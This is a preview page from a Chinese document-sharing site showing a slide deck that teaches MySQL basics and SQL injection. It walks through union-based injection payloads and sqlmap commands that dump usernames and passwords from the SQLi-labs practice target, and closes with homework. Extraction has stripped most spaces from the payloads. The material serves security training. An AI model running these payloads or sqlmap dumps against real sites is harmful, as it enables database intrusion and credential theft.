Mysql与SQL注入基础详解PPT推荐.pptx

上传人:聆听****声音 文档编号:476913 上传时间:2023-04-29 格式:PPTX 页数:34 大小:1.32MB
下载 相关 举报
Mysql与SQL注入基础详解PPT推荐.pptx_第1页
第1页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第2页
第2页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第3页
第3页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第4页
第4页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第5页
第5页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第6页
第6页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第7页
第7页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第8页
第8页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第9页
第9页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第10页
第10页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第11页
第11页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第12页
第12页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第13页
第13页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第14页
第14页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第15页
第15页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第16页
第16页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第17页
第17页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第18页
第18页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第19页
第19页 / 共34页
Mysql与SQL注入基础详解PPT推荐.pptx_第20页
第20页 / 共34页
亲,该文档总共34页,到这儿已超出免费预览范围,如果喜欢就下载吧!
下载资源
资源描述

Mysql与SQL注入基础详解PPT推荐.pptx

《Mysql与SQL注入基础详解PPT推荐.pptx》由会员分享,可在线阅读,更多相关《Mysql与SQL注入基础详解PPT推荐.pptx(34页珍藏版)》请在冰点文库上搜索。

Mysql与SQL注入基础详解PPT推荐.pptx

Mysql结构中最特别的地方就是,Mysql数据库在创建的时候会把所有的表名,列名给他存储在information_schema这个数据库中,所以我们在sql注入的时候总是会使用到如下的语句?

id=-1unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()-并且在Mysql5.0之前是没有information_schema这个数据库的,解释这里我们可以看到,在注入的时候我们使用到了information_schema这个数据库下的tables这张表,根据这个图我们可以清楚的看到,我们实际上这个语句的意思是查询information_schema这个数据库中的tables这个表,然后筛选出table_schema这个字段的值为database()这个函数的返回值的table_name这个字段的值,数据库的创建删除与简单使用数据库的创建createdatabasename;

例子createdatabasetest1;

1.3.2数据库的删除dropdatabasename;

例子dropdatabasetest1,1.3.3显示当前数据库名,SHOWDATABASES,数据库中表与字段的增删改查创建表createtablestudent1(idintprimarykey,namevarchar(10),ageint,heightfloat,hobbychar(10),addressvarchar(12)defaultcharset=utf8;

对创建数据库命令的解释createtablestudent1(#创建一个表,叫做studentidintprimarykey,#创建一个整形id字段,primarykey主键不为空且唯一namevarchar(10),#创建一个char类型name字段ageint,#创建一个整形age字段heightfloat,#创建一个浮点型height字段hobbychar(10),#创建一个hobbychar类型字段addressvarchar(12)#创建一个address字符型)defaultcharset=utf8;

#默认编码UTF-81.4.2向表内添加数据INSERTintostudent1values(1,admin,20,180,swimming,五道口),代码执行结果如下,语句解释INSERTintostudent1values(1,admin,20,180,swimming,五道口)insert#插入into#到地方student1#我们之前创建的表名values()#我们创建的字段里面填入值,1.4.3修改表内数据普通修改updatestudent1setaddress=八道口,hobby=play;

修改结果如下,语句解释updatestudent1setaddress=八道口,hobby=play;

update#更新student1#表set#设置address=八道口,hobby=play#字段值条件修改updatestudent1setaddress=猜我到底是几道口whereid=1orname=admin;

修改之前如下,执行语句,修改结果如下,语句解释updatestudent1setaddress=猜我到底是几道口whereid=1orname=admin;

updadte#更新student1#表名set#设置,address=猜我到底是几道口#字段值,whereid=1orname=admin#什么地方id=1或者name=admin总体语句意思:

更新student1这张表,把address这个字段的值改为猜我到底是几道口并且这个地方需要id=1或者name=admin,1.4.4删除表内数据deletefromstudent1whereid=2andaddress=五道口;

结果如下,语句解释deletefromstudent1whereid=2andaddress=五道口;

delete#删除froms数据库中nandaddress=五道口#什么地方id=2并且address=五道口,1.4.5查找数据select*fromstudent1效果如下,语句解释select*fromstudent1select#选择*#通配符,这里的意思是所有from#从student1#表,1.4.6一般查询select字段from表selectnamefromstudent1,简易SQL注入手工注入首先我们打开SQLlib的第一关,这里提示我们输入ID,并且是数值型,第一步判断是否存在SQL注入,其实很简单,我们并不需要使用什么and1=1这样的语句去判断,而是可以直接输入一大堆垃圾数据,如果报错,那么说明我们输入的这个垃圾数据被带入数据库中并且执行了,那么就极有可能存在SQL注入比如这里,我输入垃圾数据,明显看到报错了,那么就极有可能存在SQL注入,输入单引号,报错,那么这里接收id的地方肯定是单引号,就是这样selectnamefromuserswhereid=,我们来分析一下为什么报错了,就确定他是单引号接收参数的,我们在数据库中执行下面这条语句,很明显,这是会报错的selectnamefromstudent1whereid=1,那么执行这条语句,他会报错吗selectnamefromstudent1whereid=1这里可能会出乎意料,他并没有报错,这里没有报错是因为我们的双引号不能和前后的单引号拼接起来,也就无法完成闭合,这个1就会被当成参数去执行,而不是拼接成新的SQL语句,效果如下,如果我们这里传入的是1,那么拼接后的语句因该是这样的selectnamefromstudent1whereid=1这样的话明显我们输入的1中的单引号就和前面的单引号给他闭合掉了,此时如果我们传入id的值为1unionselectdatabase()-那么拼接后的语句为selectnamefromstudent1whereid=1unionselectdatabase()-,我们可以看到,这是可以执行成功的,这句的意思是查询id=1的字段,并且联合查询数据库的名字,这也就是SQL注入的原理,闭合掉原有的句子,来执行我们新的SQL语句首先,我们来判断他有的回显点,这里我们使用orderby,那么orderby判断注入的点又是什么原理呢我们执行下面这条语句,selectname,idfromstudent1whereid=1orderby3可以看到他报错了,这是为什么呢,因为orderby3的意思是按照第3个列进行排序,但是我们这里明显可以看到,我们只查询了name和id这两个列的值,所以这里根本就不存在第三个列,也就会报错,所以这里无论我们是orderby2还是orderby1他都不会报错,所以我们可以利用这个特性,从大的数字开始尝试,当不报错的那个数字出现了,那执行语句的时候就选择了那么多列,比如这里selectname,idfromstudent1whereid=1orderby2,可以看到orderby2的时候是没报错的,这正是因为我们select的时候刚好select了2列,知道了这些前置知识之后,我们再来做这个题目就很简单了http:

/127.0.0.1:

8124/Less-1/?

id=1orderby4-+这里报错,说明没有4列,那么试试3报错不报错,完美不报错,那么由此确定,在执行sql语句的时候只select了3列,那么下一步就是判断回显点,可以看到这里的2和3这两个位置都是回显数据的,那么我们可以在这两个位置来查询数据,这里又有一个知识点,为什么要输入-1而不是1呢http:

id=-1unionselect1,2,3-+,我们来解释一下为什么,我们来执行这条语句selectnamefromstudent1whereid=1unionselectdatabase()我们可以看到联合查询的时候,这个1也在name这个列,但是我们在注入的时候,需要的往往是那个unionselect的东西,而不是他原本的东西,如果说他原本的语句正常执行了,在页面回显的时候我联合查询的东西就会回显不出来,所以需要让第一个语句给他执行失败,像我们下面这样,我们执行下面这条语句,虽然前面的语句失败了,但是并不影响我们想要的结果,这样我们联合查询的结果就出来了,这也就是为什么联合查询的时候需要让他原本的语句出错的原因selectnamefromstudent1whereid=11111unionselectdatabase(),我们执行下面这条语句,这条语句就是我之前讲的,意思是查表名http:

id=-1unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema=database()-+,可以轻易看出这个users表是敏感的表,那么我们同样按照这种方法,拿到这个表中的列名http:

id=-1unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_name=users-+这样我们就拿到了user表中的所有列名,其中username和password肯定是最敏感的,那么直接拿这两个数据,http:

id=-1unionselect1,username,passwordfromsecurity.users-+可以看到执行成功,这个Dumb就是其中的一个账户密码了,此时我们可以结合limit来遍历所有的字段值http:

id=-1unionselect1,username,passwordfromsecurity.userslimit1,2-+这样我们就获得了第2行的值,数据库结构如下,同理可以遍历所有的,SQLMAP一把梭使用-r参数(最稳妥)首先我们burp抓个包,内容如下GET/Less-1/?

id=1HTTP/1.1Host:

172.20.10.3:

8124Cache-Control:

max-age=0Upgrade-Insecure-Requests:

1User-Agent:

Mozilla/5.0(WindowsNT10.0;

Win64;

x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/99.0.4844.74Safari/537.36Accept:

text/html,application/xhtml+xml,application/xml;

q=0.9,image/avif,image/webp,image/apng,*/*;

q=0.8,application/signed-exchange;

v=b3;

q=0.9Accept-Encoding:

gzip,deflateAccept-Language:

zh-CN,zh;

q=0.9,sq;

q=0.8Connection:

close我们把这个内容保存到SQLMAP根目录下的一个txt文件内,我这里是1.txt值得注意的是我们这里id=1的前面加了一个*号,这个*号的意思是,我们推测这里存在注入,可以让SQLMAP直接尝试这个参数,我们在SQLMAP中执行这条语句python38sqlmap.py-r1.txt-batch-r读取文件内容,也就是我们抓的包-batch出现选项的时候选择默认,我们可以明显看到这是存在注入的,那么我们就可以继续一把梭,先爆数据库名python38sqlmap.py-r1.txt-batch-dbs-dbs列出数据库名我们这个靶场的数据库是security,那么继续爆表python38sqlmap.py-r1.txt-batch-Dsecurity-tables-D执行数据库名-tables列出表名,爆出了这些表,同样users这个表肯定是我们想要的,python38sqlmap.py-r1.txt-batch-Dsecurity-Tusers-columns-T指定表-columns列出列名那么继续爆列,可以看到有password和username这两个列,都是我们想要的,那么我们直接拿username和password的值即可python38sqlmap.py-r1.txt-batch-Dsecurity-Tusers-Cusername,password-dump-C指定字段-dump输出字段值这样,我们就拿到了这个数据库中最敏感的信息了,2.2.2使用-u参数同样的用法,只不是通过-u参数来传递URL,其他步骤一致python38sqlmap.py-uhttp:

/172.20.10.3:

id=1-batch-Dsecurity-Tusers-Cusername,password-dump,至此,今天的课程到此结束,作业,1.安装Navicat,并且把讲过的SQL注入原理与基础SQL语句进行练习,每一个知识点进行截图createdatabase你的名字拼音;

createtablestudent1(idintprimarykey,namevarchar(10),ageint,heightfloat,hobbychar(10),addressvarchar(12)defaultcharset=utf8;

INSERTintostudent1values(1,你的名字,20,180,swimming,五道口),以我上述的这种数据库结构进行操作,需要截图的内容是我所说过的每一个知识点,包括SQL注入原理的理解,2.SQLlib题目复现,提交WP(要求写上每一个语句的解释,每一个步骤都需要截图,需要拿到username和password的值为最终目的,SQLMAP与手工都需要做),

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 求职职场 > 简历

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2